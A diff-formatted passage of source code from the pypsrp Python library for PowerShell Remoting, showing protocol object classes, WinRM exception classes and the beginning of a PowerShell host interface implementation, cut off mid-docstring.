+ string in order to make sure the encoding is correct 1303 + """ 1304 + super(PSCredential, self).__init__() 1305 + self._types = ["System.Management.Automation.PSCredential", "System.Object"] 1306 + self._adapted_properties = ( 1307 + ("username", ObjectMeta("S", name="UserName")), 1308 + ("password", ObjectMeta("SS", name="Password")), 1309 + ) 1310 + self._to_string = "System.Management.Automation.PSCredential" 1311 + 1312 + self.username = kwargs.get("username") 1313 + self.password = kwargs.get("password") 1314 + 1315 + 1316 + class KeyInfo(ComplexObject): 1317 + def __init__(self, **kwargs): 1318 + """ 1319 + [MS-PSRP] 2.2.3.26 KeyInfo 1320 + https://msdn.microsoft.com/en-us/library/ee441795.aspx 1321 + 1322 + Represents information about a keyboard event, this is used for the 1323 + serialized of a ReadKey host method and is not the same as the 1324 + serialized form of KeyInfo in .NET (see KeyInfoDotNet). 1325 + 1326 + :param code: The int value for the virtual key code 1327 + :param character: The character 1328 + :param state: The ControlKeyState int value 1329 + :param key_down: Whether the key is pressed or released 1330 + """ 1331 + super(KeyInfo, self).__init__() 1332 + self._extended_properties = ( 1333 + ("code", ObjectMeta("I32", name="virtualKeyCode", optional=True)), 1334 + ("character", ObjectMeta("C", name="character")), 1335 + ("state", ObjectMeta("I32", name="controlKeyState")), 1336 + ("key_down", ObjectMeta("B", name="keyDown")), 1337 + ) 1338 + self.code = kwargs.get("code") 1339 + self.character = kwargs.get("character") 1340 + self.state = kwargs.get("state") 1341 + self.key_down = kwargs.get("key_down") 1342 + 1343 + 1344 + class KeyInfoDotNet(ComplexObject): 1345 + def __init__(self, **kwargs): 1346 + """ 1347 + System.Management.Automation.Host.KeyInfo 1348 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.keyinfo 1349 + 1350 + This is the proper serialized form of KeyInfo from .NET, it is 1351 + returned in a PipelineOutput message. 1352 + 1353 + :param code: The int value for the virtual key code 1354 + :param character: The character 1355 + :param state: The ControlKeyState as a string value 1356 + :param key_down: Whether the key is pressed or released 1357 + """ 1358 + super(KeyInfoDotNet, self).__init__() 1359 + self._types = ["System.Management.Automation.Host.KeyInfo", "System.ValueType", "System.Object"] 1360 + self._adapted_properties = ( 1361 + ("code", ObjectMeta("I32", name="VirtualKeyCode")), 1362 + ("character", ObjectMeta("C", name="Character")), 1363 + ("state", ObjectMeta("S", name="ControlKeyState")), 1364 + ("key_down", ObjectMeta("B", name="KeyDown")), 1365 + ) 1366 + self.code = kwargs.get("code") 1367 + self.character = kwargs.get("character") 1368 + self.state = kwargs.get("state") 1369 + self.key_down = kwargs.get("key_down") 1370 + 1371 + 1372 + class ControlKeyState(object): 1373 + """ 1374 + [MS-PSRP] 2.2.3.27 ControlKeyStates 1375 + https://msdn.microsoft.com/en-us/library/ee442685.aspx 1376 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.controlkeystates 1377 + 1378 + A set of zero or more control keys that are help down. 1379 + """ 1380 + 1381 + RightAltPressed = 0x0001 1382 + LeftAltPressed = 0x0002 1383 + RightCtrlPressed = 0x0004 1384 + LeftCtrlPressed = 0x0008 1385 + ShiftPressed = 0x0010 1386 + NumLockOn = 0x0020 1387 + ScrollLockOn = 0x0040 1388 + CapsLockOn = 0x0080 1389 + EnhancedKey = 0x0100 1390 + 1391 + 1392 + class BufferCell(ComplexObject): 1393 + def __init__(self, **kwargs): 1394 + """ 1395 + [MS-PSRP] 2.2.3.28 BufferCell 1396 + https://msdn.microsoft.com/en-us/library/ee443291.aspx 1397 + 1398 + The contents of a cell of a host's screen buffer. 1399 + 1400 + :param character: The chracter visibile in the cell 1401 + :param foreground_color: The Color of the foreground 1402 + :param background_color: The Color of the background 1403 + :param cell_type: The int value of BufferCellType 1404 + """ 1405 + super(BufferCell, self).__init__() 1406 + self._adapted_properties = ( 1407 + ("character", ObjectMeta("C", name="character")), 1408 + ("foreground_color", ObjectMeta("Obj", name="foregroundColor", object=Color)), 1409 + ("background_color", ObjectMeta("Obj", name="backgroundColor", object=Color)), 1410 + ("cell_type", ObjectMeta("I32", name="bufferCellType")), 1411 + ) 1412 + self.character = kwargs.get("character") 1413 + self.foreground_color = kwargs.get("foreground_color") 1414 + self.background_color = kwargs.get("background_color") 1415 + self.cell_type = kwargs.get("cell_type") 1416 + 1417 + 1418 + class BufferCellType(object): 1419 + """ 1420 + [MS-PSRP] 2.2.3.29 BufferCellType 1421 + https://msdn.microsoft.com/en-us/library/ee442184.aspx 1422 + 1423 + The type of a cell of a screen buffer. 1424 + """ 1425 + 1426 + COMPLETE = 0 1427 + LEADING = 1 1428 + TRAILING = 2 1429 + 1430 + 1431 + class Array(ComplexObject): 1432 + def __init__(self, **kwargs): 1433 + """ 1434 + [MS-PSRP] 2.2.6.1.4 Array 1435 + https://msdn.microsoft.com/en-us/library/dd340684.aspx 1436 + 1437 + Represents a (potentially multi-dimensional) array of elements. 1438 + 1439 + :param array: The array (list) that needs to be serialised. This can 1440 + be a multidimensional array (lists in a list) 1441 + """ 1442 + super(Array, self).__init__() 1443 + self._extended_properties = ( 1444 + ("mae", ListMeta(name="mae")), 1445 + ("mal", ListMeta(name="mal", list_value_meta=ObjectMeta("I32"))), 1446 + ) 1447 + self._array = None 1448 + self._mae = None 1449 + self._mal = None 1450 + self._array = kwargs.get("array") 1451 + 1452 + @property 1453 + def array(self): 1454 + if self._array is None: 1455 + self._array = self._build_array(self._mae, self._mal) 1456 + 1457 + return self._array 1458 + 1459 + @array.setter 1460 + def array(self, value): 1461 + self._array = value 1462 + 1463 + @property 1464 + def mae(self): 1465 + # elements of the array are flattened into a list and ordered by first 1466 + # listing the deepest elements 1467 + mae = self._get_list_entries(self._array) 1468 + return mae 1469 + 1470 + @mae.setter 1471 + def mae(self, value): 1472 + self._mae = value 1473 + 1474 + @property 1475 + def mal(self): 1476 + mal = self._get_list_count(self.array) 1477 + return mal 1478 + 1479 + @mal.setter 1480 + def mal(self, value): 1481 + self._mal = value 1482 + 1483 + def _build_array(self, mae, mal): 1484 + values = [] 1485 + 1486 + length = mal.pop(-1) 1487 + while True: 1488 + entry = [] 1489 + for i in range(0, length): 1490 + entry.append(mae.pop(0)) 1491 + values.append(entry) 1492 + if len(mae) == 0: 1493 + break 1494 + 1495 + if len(mal) == 0: 1496 + values = values[0] 1497 + elif len(mal) > 1: 1498 + values = self._build_array(values, mal) 1499 + 1500 + return values 1501 + 1502 + def _get_list_entries(self, list_value): 1503 + values = [] 1504 + for value in list_value: 1505 + if isinstance(value, list): 1506 + values.extend(self._get_list_entries(value)) 1507 + else: 1508 + values.append(value) 1509 + 1510 + return values 1511 + 1512 + def _get_list_count(self, list_value): 1513 + count = [] 1514 + 1515 + current_entry = list_value 1516 + while True: 1517 + if isinstance(current_entry, list): 1518 + count.append(len(current_entry)) 1519 + current_entry = current_entry[0] 1520 + else: 1521 + break 1522 + 1523 + return count 1524 + 1525 + 1526 + class CommandOrigin(Enum): 1527 + RUNSPACE = 0 1528 + INTERNAL = 1 1529 + 1530 + def __init__(self, **kwargs): 1531 + """ 1532 + [MS-PSRP] 2.2.2.30 CommandOrigin 1533 + https://msdn.microsoft.com/en-us/library/ee441964.aspx 1534 + 1535 + :param value: The command origin flag to set 1536 + """ 1537 + string_map = { 1538 + 0: "Runspace", 1539 + 1: "Internal", 1540 + } 1541 + super(CommandOrigin, self).__init__("System.Management.Automation.CommandOrigin", string_map, **kwargs) 1542 + 1543 + 1544 + class PipelineResultTypes(Enum): 1545 + # While MS-PSRP show this as flags with different values, we only 1546 + # ever send NONE OUTPUT, ERROR, or OUTPUT_AND_ERROR across the wire and 1547 + # the actual C# code use these values as enums and not flags. We will 1548 + # replicate that behaviour here. If using these values, do not rely on 1549 + # the actual numeric values but rather these definitions. 1550 + 1551 + NONE = 0 # default streaming behaviour 1552 + OUTPUT = 1 1553 + ERROR = 2 1554 + WARNING = 3 # also output and error for MergePreviousResults (PS v2) 1555 + VERBOSE = 4 1556 + DEBUG = 5 1557 + INFORMATION = 6 1558 + ALL = 7 # Error, Warning, Verbose, Debug, Information streams 1559 + NULL = 8 # redirect to nothing - pretty much the same as null 1560 + 1561 + def __init__( 1562 + self, 1563 + protocol_version_2: bool = False, 1564 + **kwargs: typing.Any, 1565 + ) -> None: 1566 + """ 1567 + [MS-PSRP] 2.2.3.31 PipelineResultTypes 1568 + https://msdn.microsoft.com/en-us/library/ee938207.aspx 1569 + 1570 + Used as identifiers 1571 + 1572 + :param protocol_version_2: Whether to use the original string map or 1573 + just None, Output, and Error that are a bitwise combination. This 1574 + is only really relevant for MergePreviousResults in a Command obj 1575 + :param value: The initial PipelineResultType flag to set 1576 + """ 1577 + if protocol_version_2 is True: 1578 + string_map = { 1579 + 0: "None", 1580 + 1: "Output", 1581 + 2: "Error", 1582 + 3: "Output, Error", 1583 + } 1584 + else: 1585 + string_map = { 1586 + 0: "None", 1587 + 1: "Output", 1588 + 2: "Error", 1589 + 3: "Warning", 1590 + 4: "Verbose", 1591 + 5: "Debug", 1592 + 6: "Information", 1593 + 7: "All", 1594 + 8: "Null", 1595 + } 1596 + super(PipelineResultTypes, self).__init__( 1597 + "System.Management.Automation.Runspaces.PipelineResultTypes", string_map, **kwargs 1598 + ) 1599 + 1600 + 1601 + class CultureInfo(ComplexObject): 1602 + def __init__(self, **kwargs): 1603 + super(CultureInfo, self).__init__() 1604 + 1605 + self._adapted_properties = ( 1606 + ("lcid", ObjectMeta("I32", name="LCID")), 1607 + ("name", ObjectMeta("S", name="Name")), 1608 + ("display_name", ObjectMeta("S", name="DisplayName")), 1609 + ("ietf_language_tag", ObjectMeta("S", name="IetfLanguageTag")), 1610 + ("three_letter_iso_name", ObjectMeta("S", name="ThreeLetterISOLanguageName")), 1611 + ("three_letter_windows_name", ObjectMeta("S", name="ThreeLetterWindowsLanguageName")), 1612 + ("two_letter_iso_language_name", ObjectMeta("S", name="TwoLetterISOLanguageName")), 1613 + ) 1614 + self.lcid = kwargs.get("lcid") 1615 + self.name = kwargs.get("name") 1616 + self.display_name = kwargs.get("display_name") 1617 + self.ieft_language_tag = kwargs.get("ietf_language_tag") 1618 + self.three_letter_iso_name = kwargs.get("three_letter_iso_name") 1619 + self.three_letter_windows_name = kwargs.get("three_letter_windows_name") 1620 + self.two_letter_iso_language_name = kwargs.get("two_letter_iso_language_name") 1621 + 1622 + 1623 + class ProgressRecordType(Enum): 1624 + PROCESSING = 0 1625 + COMPLETED = 1 1626 + 1627 + def __init__(self, **kwargs): 1628 + """ 1629 + System.Management.Automation.ProgressRecordType Enum 1630 + This isn't in MS-PSRP but is used in the InformationRecord message and 1631 + so we need to define it here. 1632 + 1633 + :param value: The initial ProgressRecordType value to set 1634 + """ 1635 + string_map = { 1636 + 0: "Processing", 1637 + 1: "Completed", 1638 + } 1639 + super(ProgressRecordType, self).__init__( 1640 + "System.Management.Automation.ProgressRecordType", string_map, **kwargs 1641 + ) 1642 + 1643 + 1644 + class SessionStateEntryVisibility(Enum): 1645 + PUBLIC = 0 1646 + PRIVATE = 1 1647 + 1648 + def __init__(self, **kwargs): 1649 + """ 1650 + System.Management.Automation.SessionStateEntryVisibility Enum 1651 + This isn't in MS-PSRP but is used in the InformationalRecord object so 1652 + we need to define it here 1653 + 1654 + :param value: The initial SessionStateEntryVisibility value to set 1655 + """ 1656 + string_map = {0: "Public", 1: "Private"} 1657 + super(SessionStateEntryVisibility, self).__init__( 1658 + "System.Management.Automation.SessionStateEntryVisibility", string_map, **kwargs 1659 + ) 1660 + -
-
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import typing 5 + 6 + from pypsrp.complex_objects import PSInvocationState, RunspacePoolState 7 + 8 + 9 + class WinRMError(Exception): 10 + # Base WinRM Error 11 + pass 12 + 13 + 14 + class AuthenticationError(WinRMError): 15 + # Used when the user failed to authenticate 16 + pass 17 + 18 + 19 + class WinRMTransportError(WinRMError): 20 + # An error occurred during the transport stage 21 + 22 + @property 23 + def protocol(self): 24 + return self.args[0] 25 + 26 + @property 27 + def code(self): 28 + return self.args[1] 29 + 30 + @property 31 + def response_text(self): 32 + return self.args[2] 33 + 34 + @property 35 + def message(self): 36 + return "Bad %s response returned from the server. Code: %d, Content: '%s'" % ( 37 + self.protocol.upper(), 38 + self.code, 39 + self.response_text, 40 + ) 41 + 42 + def __str__(self): 43 + return self.message 44 + 45 + 46 + class WSManFaultError(WinRMError): 47 + # Contains the WSManFault information if a WSManFault was received 48 + 49 + @property 50 + def code(self): 51 + return self.args[0] 52 + 53 + @property 54 + def machine(self): 55 + return self.args[1] 56 + 57 + @property 58 + def reason(self): 59 + return self.args[2] 60 + 61 + @property 62 + def provider(self): 63 + return self.args[3] 64 + 65 + @property 66 + def provider_path(self): 67 + return self.args[4] 68 + 69 + @property 70 + def provider_fault(self): 71 + return self.args[5] 72 + 73 + @property 74 + def message(self): 75 + error_details = [] 76 + if self.code: 77 + error_details.append("Code: %s" % self.code) 78 + 79 + if self.machine: 80 + error_details.append("Machine: %s" % self.machine) 81 + 82 + if self.reason: 83 + error_details.append("Reason: %s" % self.reason) 84 + 85 + if self.provider: 86 + error_details.append("Provider: %s" % self.provider) 87 + 88 + if self.provider_path: 89 + error_details.append("Provider Path: %s" % self.provider_path) 90 + 91 + if self.provider_fault: 92 + error_details.append("Provider Fault: %s" % self.provider_fault) 93 + 94 + if len(error_details) == 0: 95 + error_details.append("No details returned by the server") 96 + 97 + error_msg = "Received a WSManFault message. (%s)" % ", ".join(error_details) 98 + return error_msg 99 + 100 + def __str__(self): 101 + return self.message 102 + 103 + 104 + # PSRP Exceptions below 105 + class _InvalidStateError(WinRMError): 106 + _STATE_OBJ: typing.Optional[typing.Type] = None 107 + 108 + @property 109 + def current_state(self): 110 + return self.args[0] 111 + 112 + @property 113 + def expected_state(self): 114 + return self.args[1] 115 + 116 + @property 117 + def action(self): 118 + return self.args[2] 119 + 120 + @property 121 + def message(self): 122 + current_state = str(self._STATE_OBJ(self.current_state)) 123 + expected_state = self.expected_state 124 + if not isinstance(expected_state, list): 125 + expected_state = [expected_state] 126 + exp_state = [str(self._STATE_OBJ(s)) for s in expected_state] 127 + return "Cannot '%s' on the current state '%s', expecting state(s): '%s'" % ( 128 + self.action, 129 + current_state, 130 + ", ".join(exp_state), 131 + ) 132 + 133 + def __str__(self): 134 + return self.message 135 + 136 + 137 + class InvalidRunspacePoolStateError(_InvalidStateError): 138 + # Used in PSRP when the state of a RunspacePool does not meet the required 139 + # state for the operation to run 140 + _STATE_OBJ = RunspacePoolState 141 + 142 + 143 + class InvalidPipelineStateError(_InvalidStateError): 144 + # Used in PSRP when teh state of a PowerShell Pipeline does not meet the 145 + # required state for the operation to run 146 + _STATE_OBJ = PSInvocationState 147 + 148 + 149 + class InvalidPSRPOperation(WinRMError): 150 + # Generic error used to denote an operation that is invalid or could not 151 + # run until other conditions are met 152 + pass 153 + 154 + 155 + class FragmentError(WinRMError): 156 + # Any error occurred during the packet fragmentation 157 + pass 158 + 159 + 160 + class SerializationError(WinRMError): 161 + # Any error during the serialization process 162 + pass 163 + -
1 + # Copyright: (c) 2018, Jordan Borean (@jborean93) <[email protected]> 2 + # MIT License (see LICENSE or https://opensource.org/licenses/MIT) 3 + 4 + import logging 5 + import typing 6 + import uuid 7 + import xml.etree.ElementTree as ET 8 + 9 + from pypsrp.complex_objects import ( 10 + Array, 11 + BufferCell, 12 + Color, 13 + Coordinates, 14 + CultureInfo, 15 + GenericComplexObject, 16 + HostMethodIdentifier, 17 + KeyInfo, 18 + ObjectMeta, 19 + PSCredential, 20 + Size, 21 + ) 22 + from pypsrp.powershell import PowerShell, RunspacePool 23 + 24 + log = logging.getLogger(__name__) 25 + 26 + 27 + class PSHost(object): 28 + def __init__( 29 + self, 30 + current_culture: typing.Optional[CultureInfo], 31 + current_ui_culture: typing.Optional[CultureInfo], 32 + debugger_enabled: bool, 33 + name: typing.Optional[str], 34 + private_data: typing.Optional[typing.Dict], 35 + ui: typing.Optional["PSHostUserInterface"], 36 + version: str, 37 + ) -> None: 38 + """ 39 + Defines the properties and facilities provided by an application 40 + hosting a RunspacePool. 41 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost 42 + 43 + This is a basic implementation some methods being noop or not 44 + implemented. 45 + 46 + :param current_culture: pypsrp.complex_objects.CultureInfo, the host's 47 + culture 48 + :param current_ui_culture: pypsrp.complex_objects.CultureInfo, the 49 + host's UI culture 50 + :param debugger_enabled: This property enables and disables the host 51 + debugger if debugging is supported 52 + :param name: Gets the hosting application identification in some user- 53 + friendly fashion. 54 + :param private_data: Used to allow the host to pass private data 55 + through a Runspace to cmdlets inside that Runspace 56 + :param ui: The hosts implementation of PSHostUserInterface. Should be 57 + None if the host that does not want to support user interaction 58 + :param version: The version of the hosting application 59 + """ 60 + self.ui = ui 61 + self.debugger_enabled = debugger_enabled 62 + self.private_data = private_data 63 + self.rc: typing.Optional[int] = None 64 + 65 + self.name = name 66 + self.version = version 67 + self.instance_id = uuid.uuid4() 68 + self.current_culture = current_culture 69 + self.current_ui_culture = current_ui_culture 70 + 71 + def run_method( 72 + self, 73 + method_identifier: HostMethodIdentifier, 74 + args: typing.List, 75 + runspace: RunspacePool, 76 + pipeline: typing.Optional[PowerShell] = None, 77 + ) -> typing.Any: 78 + """ 79 + Run a host call method requested by the server and return the response 80 + from this method to send back to the server. 81 + https://msdn.microsoft.com/en-us/library/dd306624.aspx 82 + 83 + Each method will have access to the current runspace and pipeline (if 84 + applicable) during the method call as well as any args sent from the 85 + server. 86 + 87 + :param method_identifier: pypsrp.complex_objects.HostMethodIdentifier 88 + in the host call message. 89 + :param args: The list of arguments for the host call function. 90 + :param runspace: The runspace the host call relates to 91 + :param pipeline: The pipeline (if any) that the call relates to 92 + :return: The response (if any) to send back to the server 93 + """ 94 + response = None 95 + mi = method_identifier.value or 0 96 + if mi < 11: 97 + func = getattr(self, str(method_identifier)) 98 + response = func(runspace, pipeline, *args) 99 + elif mi < 27: 100 + func = getattr(self.ui, str(method_identifier)) 101 + response = func(runspace, pipeline, *args) 102 + elif mi < 52: 103 + func = getattr(getattr(self.ui, "raw_ui", None), str(method_identifier)) 104 + response = func(runspace, pipeline, *args) 105 + else: 106 + log.warning("Received unexpected/unsupported host method identifier: %d" % mi) 107 + 108 + return response 109 + 110 + # Start of Host Methods, the names of these functions are important as 111 + # they line up to the names defined by MS and are sent in the host call 112 + # messages 113 + def GetName( 114 + self, 115 + runspace: RunspacePool, 116 + pipeline: typing.Optional[PowerShell], 117 + ) -> typing.Optional[str]: 118 + """ 119 + MI: 1 120 + SHOULD return a string identifying the hosting application in a user 121 + friendly way. 122 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.name 123 + 124 + :param runspace: The runspace the host call relates to 125 + :param pipeline: The pipeline (if any) that the call relates to 126 + :return: String of the user-friendly name of the hosting application 127 + """ 128 + return self.name 129 + 130 + def GetVersion( 131 + self, 132 + runspace: RunspacePool, 133 + pipeline: typing.Optional[PowerShell], 134 + ) -> typing.Optional[ET.Element]: 135 + """ 136 + MI: 2 137 + SHOULD return the version number of the hosting application. 138 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.version 139 + 140 + :param runspace: The runspace the host call relates to 141 + :param pipeline: The pipeline (if any) that the call relates to 142 + :return: Version number of the hosting application 143 + """ 144 + meta = ObjectMeta("Version") 145 + value = runspace.serialize(self.version, meta) 146 + return value 147 + 148 + def GetInstanceId( 149 + self, 150 + runspace: RunspacePool, 151 + pipeline: typing.Optional[PowerShell], 152 + ) -> uuid.UUID: 153 + """ 154 + MI: 3 155 + SHOULD return a GUID that uniquely identifies the hosting application. 156 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.instanceid 157 + 158 + :param runspace: The runspace the host call relates to 159 + :param pipeline: The pipeline (if any) that the call relates to 160 + :return: GUID of the hosting application 161 + """ 162 + return self.instance_id 163 + 164 + def GetCurrentCulture( 165 + self, 166 + runspace: RunspacePool, 167 + pipeline: typing.Optional[PowerShell], 168 + ) -> typing.Optional[CultureInfo]: 169 + """ 170 + MI: 4 171 + SHOULD return the host's culture. 172 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.currentculture 173 + 174 + :param runspace: The runspace the host call relates to 175 + :param pipeline: The pipeline (if any) that the call relates to 176 + :return: pypsrp.complex_objects.CultureInfo of the host's culture 177 + """ 178 + return self.current_culture 179 + 180 + def GetCurrentUICulture( 181 + self, 182 + runspace: RunspacePool, 183 + pipeline: typing.Optional[PowerShell], 184 + ) -> typing.Optional[CultureInfo]: 185 + """ 186 + MI: 5 187 + MUST return the host's UI culture. 188 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.currentuiculture 189 + 190 + :param runspace: The runspace the host call relates to 191 + :param pipeline: The pipeline (if any) that the call relates to 192 + :return: pypsrp.complex_objects.CultureInfo of the host's UI culture 193 + """ 194 + return self.current_ui_culture 195 + 196 + def SetShouldExit( 197 + self, 198 + runspace: RunspacePool, 199 + pipeline: typing.Optional[PowerShell], 200 + exit_code: int, 201 + ) -> None: 202 + """ 203 + MI: 6 204 + SHOULD shut down the hosting application and close the current 205 + runspace. The default implementation just sets the rc on the host 206 + object and doesn't shutdown the runspace. 207 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.setshouldexit 208 + 209 + :param runspace: The runspace the host call relates to 210 + :param pipeline: The pipeline (if any) that the call relates to 211 + :param exit_code: The exit code accompanying the exit keyword. 212 + Typically after exiting a runspace, a host will also terminate 213 + """ 214 + self.rc = exit_code 215 + 216 + def EnterNestedPrompt( 217 + self, 218 + runspace: RunspacePool, 219 + pipeline: typing.Optional[PowerShell], 220 + ) -> None: 221 + """ 222 + MI: 7 223 + SHOULD interrupt the current pipeline and start a nested pipeline. 224 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.enternestedprompt 225 + 226 + :param runspace: The runspace the host call relates to 227 + :param pipeline: The pipeline (if any) that the call relates to 228 + """ 229 + raise NotImplementedError() 230 + 231 + def ExitNestedPrompt( 232 + self, 233 + runspace: RunspacePool, 234 + pipeline: typing.Optional[PowerShell], 235 + ) -> None: 236 + """ 237 + MI: 8 238 + SHOULD stop the nested pipeline and resume the current pipeline. 239 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.exitnestedprompt 240 + 241 + :param runspace: The runspace the host call relates to 242 + :param pipeline: The pipeline (if any) that the call relates to 243 + """ 244 + raise NotImplementedError() 245 + 246 + def NotifyBeginApplication( 247 + self, 248 + runspace: RunspacePool, 249 + pipeline: typing.Optional[PowerShell], 250 + ) -> None: 251 + """ 252 + MI: 9 253 + Called by an application to indicate that it is executing a command 254 + line application. 255 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.notifybeginapplication 256 + 257 + :param runspace: The runspace the host call relates to 258 + :param pipeline: The pipeline (if any) that the call relates to 259 + """ 260 + pass 261 + 262 + def NotifyEndApplication( 263 + self, 264 + runspace: RunspacePool, 265 + pipeline: typing.Optional[PowerShell], 266 + ) -> None: 267 + """ 268 + MI: 10 269 + Called by an application to indicate that it has finished executing a 270 + command line application. 271 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.notifyendapplication 272 + 273 + :param runspace: The runspace the host call relates to 274 + :param pipeline: The pipeline (if any) that the call relates to 275 + """ 276 + pass 277 + 278 + 279 + class PSHostUserInterface(object): 280 + def __init__( 281 + self, 282 + raw_ui: typing.Optional["PSHostRawUserInterface"] = None, 283 + ) -> None: 284 + """ 285 + Defines the properties and facilities provided by a hosting application 286 + deriving from PSHost that offers dialog-oriented and line-oriented 287 + interactive features. 288 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface 289 + 290 + This is a basic implementation some methods being noop or not 291 + implemented. 292 + 293 + :param raw_ui: Implementation of PSHostRawUserInterface, set to None 294 + if there is no raw user interface 295 + """ 296 + self.raw_ui = raw_ui 297 + 298 + # the below properties don't need to be used, they are just here for 299 + # the default implementation 300 + self.stdout: typing.List[str] = [] 301 + self.stderr: typing.List[str] = [] 302 + 303 + def ReadLine( 304 + self, 305 + runspace: RunspacePool, 306 + pipeline: typing.Optional[PowerShell], 307 + ) -> str: 308 + """ 309 + MI: 11 310 + SHOULD read a line of characters from a user. 311 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.readline 312 + 313 + :param runspace: The runspace the host call relates to 314 + :param pipeline: The pipeline (if any) that the call relates to 315 + :return: A string of characters to return to the read line call 316 + """ 317 + raise NotImplementedError() 318 + 319 + def ReadLineAsSecureString( 320 + self, 321 + runspace: RunspacePool, 322 + pipeline: typing.Optional[PowerShell], 323 + ) -> ET.Element: 324 + """ 325 + MI: 12 326 + SHOULD read a line of characters from a user, with the user input not 327 + echoed. 328 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.readlineassecurestring 329 + 330 + Because the return value is meant to be a SecureString, the user must 331 + either have called or will call runspace.exchange_keys() in this 332 + implementation so that the serializer can create the string. 333 + 334 + :param runspace: The runspace the host call relates to 335 + :param pipeline: The pipeline (if any) that the call relates to 336 + :return: The characters types by the user in an encrypted form 337 + """ 338 + raise NotImplementedError() 339 + 340 + def Write1( 341 + self, 342 + runspace: RunspacePool, 343 + pipeline: typing.Optional[PowerShell], 344 + value: str, 345 + ) -> None: 346 + """ 347 + MI: 13 348 + SHOULD write specified characters on the hosting application. 349 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.write 350 + 351 + :param runspace: The runspace the host call relates to 352 + :param pipeline: The pipeline (if any) that the call relates to 353 + :param value: The string of characters to be written 354 + """ 355 + self.stdout.append(value) 356 + 357 + def Write2( 358 + self, 359 + runspace: RunspacePool, 360 + pipeline: typing.Optional[PowerShell], 361 + foreground_color: int, 362 + background_color: int, 363 + value: str, 364 + ) -> None: 365 + """ 366 + MI: 14 367 + SHOULD write the specified characters with the specified foreground and 368 + background color on the hosting application. 369 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.write 370 + 371 + This implementation just adds this result to the stdout list and 372 + ignores the colors, create your own method implementation if you wish 373 + to utilise this correctly 374 + 375 + :param runspace: The runspace the host call relates to 376 + :param pipeline: The pipeline (if any) that the call relates to 377 + :param foreground_color: The int value of pypsrp.complex_objects.Color 378 + of the foreground color to display the text with 379 + :param background_color: The int value of pypsrp.complex_objects.Color 380 + of the background color to display the text with 381 + :param value: The string of characters to be written 382 + """ 383 + self.stdout.append(value) 384 + 385 + def WriteLine1( 386 + self, 387 + runspace: RunspacePool, 388 + pipeline: typing.Optional[PowerShell], 389 + ) -> None: 390 + """ 391 + MI: 15 392 + SHOULD write a carriage return on the hosting application. 393 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline 394 + 395 + :param runspace: The runspace the host call relates to 396 + :param pipeline: The pipeline (if any) that the call relates to 397 + """ 398 + self.stdout.append("\r\n") 399 + 400 + def WriteLine2( 401 + self, 402 + runspace: RunspacePool, 403 + pipeline: typing.Optional[PowerShell], 404 + value: str, 405 + ) -> None: 406 + """ 407 + MI: 16 408 + SHOULD write the specified line on the hosting application. 409 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline 410 + 411 + :param runspace: The runspace the host call relates to 412 + :param pipeline: The pipeline (if any) that the call relates to 413 + :param value: The string of characters to be written 414 + """ 415 + self.stdout.append(value + "\r\n") 416 + 417 + def WriteLine3( 418 + self, 419 + runspace: RunspacePool, 420 + pipeline: typing.Optional[PowerShell], 421 + foreground_color: int, 422 + background_color: int, 423 + value: str, 424 + ) -> None: 425 + """ 426 + MI: 17 427 + SHOULD write the specified line with the specified foreground and 428 + background color on the hosting application. 429 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline 430 + 431 + This implementation just adds this result to the stdout list and 432 + ignores the colors, create your own method implementation if you wish 433 + to utilise this correctly 434 + 435 + :param runspace: The runspace the host call relates to 436 + :param pipeline: The pipeline (if any) that the call relates to 437 + :param foreground_color: The int value of pypsrp.complex_objects.Color 438 + of the foreground color to display the text with 439 + :param background_color: The int value of pypsrp.complex_objects.Color 440 + of the background color to display the text with 441 + :param value: The string of characters to be written 442 + """ 443 + self.stdout.append(value + "\r\n") 444 + 445 + def WriteErrorLine( 446 + self, 447 + runspace: RunspacePool, 448 + pipeline: typing.Optional[PowerShell], 449 + message: str, 450 + ) -> None: 451 + """ 452 + MI: 18 453 + SHOULD write a line to the error display of the hosting application. 454 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeerrorline 455 + 456 + :param runspace: The runspace the host call relates to 457 + :param pipeline: The pipeline (if any) that the call relates to 458 + :param message: The message to display 459 + """ 460 + self.stderr.append(message + "\r\n") 461 + 462 + def WriteDebugLine( 463 + self, 464 + runspace: RunspacePool, 465 + pipeline: typing.Optional[PowerShell], 466 + message: str, 467 + ) -> None: 468 + """ 469 + MI: 19 470 + SHOULD write a line to the debug display of the hosting application. 471 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writedebugline 472 + 473 + :param runspace: The runspace the host call relates to 474 + :param pipeline: The pipeline (if any) that the call relates to 475 + :param message: The message to display 476 + """ 477 + self.stdout.append("DEBUG: %s\r\n" % message) 478 + 479 + def WriteProgress( 480 + self, 481 + runspace: RunspacePool, 482 + pipeline: typing.Optional[PowerShell], 483 + source_id: int, 484 + record: str, 485 + ) -> None: 486 + """ 487 + MI: 20 488 + SHOULD display a progress record on the hosting 